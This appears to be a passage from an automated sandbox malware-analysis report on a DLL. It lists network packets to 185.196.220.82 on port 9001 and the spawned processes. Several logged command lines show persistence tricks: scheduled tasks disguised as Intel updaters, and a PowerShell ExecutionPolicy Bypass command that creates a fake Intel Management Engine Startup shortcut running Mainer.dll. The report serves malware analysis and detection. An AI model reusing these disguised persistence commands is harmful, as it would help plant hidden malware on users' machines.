Dec 17, 2024 11:49:54.070132017 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.070832968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.070899010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.070911884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.070950985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.082910061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.082959890 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.082987070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.083038092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.083370924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.083411932 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.083492041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.083534002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.083862066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.083925009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.083997965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.084081888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.084654093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.084711075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.084733009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.084887028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.085355043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.085367918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.085406065 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.085438967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.086036921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.086114883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.086122990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.086162090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.086884022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.086927891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.086941004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.086963892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.087650061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.087661028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.087707996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.101452112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.101509094 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.101824045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.101864100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.101978064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.101993084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.102020979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.102041960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.102871895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.102931023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.103051901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.103064060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.103094101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.103138924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.103646040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.103657961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.103693008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.104444027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.184880972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.191802025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.192111015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.192231894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.192271948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.192383051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.192424059 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.193080902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.193093061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.193131924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.193866968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.193880081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.193909883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.193938017 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.194519997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.194586039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.194637060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.195015907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.195156097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.195208073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.195805073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.195858955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.195905924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.196559906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.196604967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.196811914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.197355986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.197367907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.197398901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.197419882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.198199034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.198210955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.198265076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.199300051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.199632883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.199707031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.200145006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.200217962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.200267076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.200741053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.200793982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.200830936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.201808929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.201873064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.201885939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.201915026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.201926947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.202105045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.202150106 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.202214956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.202775002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.202826977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.202913046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.203679085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.203736067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.203759909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.203798056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.204335928 CET	9001	49784	185.196.220.82	192.168.2.6

Target ID:	0
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\JkICQ13OOY.dll"
Imagebase:	0x7ff6b6e40000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1
Imagebase:	0x7ff7664e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainer
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff6e3af0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:49:21
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:49:21
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:49:21
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:49:21
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:49:21
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstallUserOnly
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff6e3af0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe Mainer.dll,Dummy
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainer
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstall
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstallUserOnly
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",Dummy
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DotNetRuntimeDebugHeader
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerUserOnly
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerSmartAndSilent
Imagebase:	0x7ff7a3ee0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:49:27
Start date:	17/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7732 -s 380
Imagebase:	0x7ff6a64a0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:49:27
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff6e3af0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:49:27
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:49:27
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:49:27
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:49:28
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff6e3af0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:49:28
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:49:29
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:49:29
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:49:29
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Imagebase:	0x7ff7a2130000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:49:29
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
